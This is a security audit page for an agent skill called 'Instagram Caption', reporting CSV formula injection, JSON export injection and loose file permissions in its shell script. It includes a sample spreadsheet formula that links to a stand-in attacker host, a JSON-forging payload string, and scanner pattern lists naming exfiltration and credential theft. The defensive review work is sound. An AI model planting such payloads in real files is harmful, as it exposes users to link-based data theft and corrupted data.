Security audit

Instagram Caption

Security checks for vulnerabilities and agentic risk

Overview

This skill is a disclosed local Instagram content logger/export tool, with data-handling weaknesses users should understand but no evidence of hidden, destructive, or exfiltrating behavior.

Install only if you are comfortable with Instagram drafts, schedules, hashtags, and related notes being stored in plaintext under ~/.local/share/instagram-caption and exported on command. Avoid storing secrets or confidential campaign data, be careful opening CSV exports in spreadsheet apps, and restrict/delete the local data directory yourself if needed.

A.I.G

Vulnerability Patterns

Insecure Skill Coding PracticesFinds exploitable flaws such as hardcoded secrets or command injection
Skill Instruction HijackingAlters the agent's session goals or safety constraints when the skill loads
Agent Memory PoisoningWrites attacker-controlled rules into memory that affect later sessions
Remote Payload Retrieval and ExecutionFetches external code whose behavior can change after review
Embedded Malicious CodeShips malicious scripts inside the skill and executes them locally

Findings (3)

T09 · Insecure Skill Coding Practices

Warning

Location: scripts/script.sh:74
Finding: Spreadsheet Formula Injection in CSV Exports
Content: View full analysis
"$out" for f in "$DATA_DIR"/*.log; do [ -f "$f" ] || continue local name=$(basename "$f" .log) while IFS='|' read -r ts val; do echo "$name,$ts,$val" >> "$out" done < "$f" done ;; ``` ### Technical Analysis The `val` field originates from content supplied to commands such as `draft`, `edit`, `hashtags`, and `schedule`. It is inserted directly into a CSV row without field quoting, escaping, or formula neutralization. Spreadsheet applications can treat cells beginning with characters such as `=`, `+`, `-`, or `@` as formulas. Consequently, a malicious value saved by the Skill may become an executable spreadsheet expression when a user opens the generated `export.csv`. The absence of CSV escaping also allows commas, quotation marks, carriage returns, and line feeds to alter the intended row and column structure. An attacker can therefore place a formula in a new or existing cell even if the original value does not naturally occupy the desired position. ### Attack Path 1. An attacker convinces a user to save attacker-controlled content, for example: ```bash instagram-caption draft '=HYPERLINK("https://attacker.example/collect","Open report")' ``` 2. The value is stored in `draft.log`. 3. The user runs: ```bash instagram-caption export csv ``` 4. The script copies the value directly into `export.csv`. 5. The user opens the export in spreadsheet software. 6. Depending on the spreadsheet application and its security configuration, the formula may be evaluated or presented as an active link. More dangerous formulas may initiate external requests or invoke application-specific functionality. ### Impact Assessment The script itse ...[truncated 684 chars]
Remediation: View remediation

T09 · Insecure Skill Coding Practices

Warning

Location: scripts/script.sh:57
Finding: Unsafe JSON Serialization Allows Export Structure Injection
Content: View full analysis
"$out" local first=1 for f in "$DATA_DIR"/*.log; do [ -f "$f" ] || continue local name=$(basename "$f" .log) while IFS='|' read -r ts val; do [ $first -eq 1 ] && first=0 || echo "," >> "$out" printf ' {"type":"%s","time":"%s","value":"%s"}' "$name" "$ts" "$val" >> "$out" done < "$f" done echo "" >> "$out" echo "]" >> "$out" ;; ``` ### Technical Analysis The script constructs JSON by interpolating `name`, `ts`, and `val` directly into a JSON string. No JSON encoder is used. In particular, user-controlled `val` data is not escaped for: - Double quotation marks. - Backslashes. - Newlines and other control characters. - JSON structural tokens. A value containing text such as: ```text "} , {"type":"forged","time":"attacker","value":"injected ``` can terminate the intended string and introduce additional fields or objects. Other inputs can simply make the export syntactically invalid. This is a data-format injection issue rather than direct shell command injection: the value is passed to `printf` as data through a `%s` placeholder, so shell metacharacters are not reevaluated by the shell. The security risk appears when another program trusts or processes the exported JSON. ### Attack Path 1. An attacker provides crafted caption content containing quotation marks and JSON syntax. 2. The user records that content through one of the logging commands. 3. The user invokes: ```bash instagram-caption export json ``` 4. The script inserts the crafted value into `export.json` without JSON escaping. 5. The resulting document is malformed or contains attacker-selected JSON structure. 6. A downstream parser, importer, automation workflo ...[truncated 931 chars]
Remediation: View remediation

T09 · Insecure Skill Coding Practices

Note

Location: scripts/script.sh:6
Finding: Locally Stored Content Is Created Without Enforced Restrictive Permissions
Content: View full analysis
> "$DATA_DIR/draft.log" ``` ### Technical Analysis The script stores captions, content plans, schedules, hashtags, history, and exports as plaintext under the user's home directory. It neither sets a restrictive `umask` nor explicitly assigns secure modes to the data directory and files. As a result, permissions depend on the invoking environment. With a common `umask` of `022`, newly created directories may receive mode `0755` and files may receive mode `0644`. On a multi-user system, that can permit other local accounts to traverse the data directory and read unpublished content. The issue does not cross user-account boundaries where home-directory permissions or other operating-system controls already deny access. It nevertheless fails to enforce the confidentiality expected for user-created content. ### Attack Path 1. A user runs the Skill in an environment with a permissive `umask`. 2. The script creates `~/.local/share/instagram-caption` and its log or export files using inherited default permissions. 3. The user saves private captions, schedules, campaign ideas, or translations. 4. Another local account that can traverse the user's home directory reads the files directly. 5. The local account obtains the stored content without interacting with the Skill. ### Impact Assessment No elevated privileges are obtained. Exploitation requires an existing local account or process with sufficient filesystem traversal access. The exposed scope can include: - Unpublished captions and campaign material. - P ...[truncated 336 chars]
Remediation: View remediation
/dev/null || true ``` - Create exports through securely permissioned temporary files and atomically rename them into place. - Check that the resolved data path is owned by the current user and is not an attacker-controlled symbolic link before writing. - Document that records are stored locally in plaintext and should not contain secrets unless additional encryption is implemented. ]]>

SkillSpector

Vulnerability Patterns

Excessive AgencyUnrestricted Tool Access, Autonomous Decision Making, Scope Creep
MCP Tool PoisoningHidden Instructions, Unicode Deception, Parameter Description Injection
Prompt InjectionInstruction Override, Hidden Instructions, Exfiltration Commands
Data ExfiltrationExternal Transmission, Env Variable Harvesting, File System Enumeration
Privilege EscalationExcessive Permissions, Sudo/Root Execution, Credential Access

Findings (6)

Tp4

High

Category: MCP Tool Poisoning
Confidence: 96% confidence
Finding: The skill’s description emphasizes Instagram content creation, but the documented behavior includes persistent local storage, history aggregation, search, export, and status reporting over all user inputs. This mismatch is risky because users may provide sensitive draft content or account-planning data without realizing it will be retained in plaintext and easily exportable, increasing exposure of potentially confidential information.
Content: No source excerpt is available for this finding.

Ssd 3

Medium

Category: Not specified by scanner
Confidence: 95% confidence
Finding: The skill stores user input across multiple log files and exposes it through status, recent, search, and export commands, creating a built-in data disclosure surface for anyone with local access or who can induce the agent to reveal prior activity. In the context of a content-writing skill, this is more dangerous because users are unlikely to expect archival and retrieval of all prior prompts and drafts, so sensitive material may be entered without caution.
Content: No source excerpt is available for this finding.

Description-Behavior Mismatch

Medium

Category: Not specified by scanner
Confidence: 98% confidence
Finding: The manifest describes a content-generation skill focused on Instagram writing tasks, but the implemented commands mostly store raw user input into local log files and provide analytics/export helpers over those logs. There is no code that performs caption writing, hashtag generation, script generation, or bio optimization; the behavior is materially different from the stated purpose.
Content: No source excerpt is available for this finding.

Missing User Warnings

Medium

Category: Not specified by scanner
Confidence: 93% confidence
Finding: The export function copies accumulated history into additional files without prior disclosure, increasing the number of plaintext copies of potentially sensitive user content on disk. This broadens exposure because data that might otherwise remain in per-command logs gets consolidated into easily shareable export artifacts.
Content: No source excerpt is available for this finding.

Missing User Warnings

Medium

Category: Not specified by scanner
Confidence: 97% confidence
Finding: The script persistently records raw user-provided content to files under the user's home directory without any warning, consent flow, retention policy, or sensitivity checks. Because Instagram drafts and related content may contain unpublished marketing plans, personal data, or confidential business material, silent storage increases the risk of unintended disclosure from local compromise, backups, or shared accounts.
Content: No source excerpt is available for this finding.

Context-Inappropriate Capability

Low

Category: Not specified by scanner
Confidence: 88% confidence
Finding: Exporting all stored entries to JSON/CSV/TXT and searching across historical logs are data-management capabilities, not obvious requirements for a caption writer or hashtag/script generator. Given the manifest's narrowly content-creation framing, these persistence and retrieval features extend beyond the stated purpose.
Content: No source excerpt is available for this finding.

Static analysis

No suspicious patterns detected.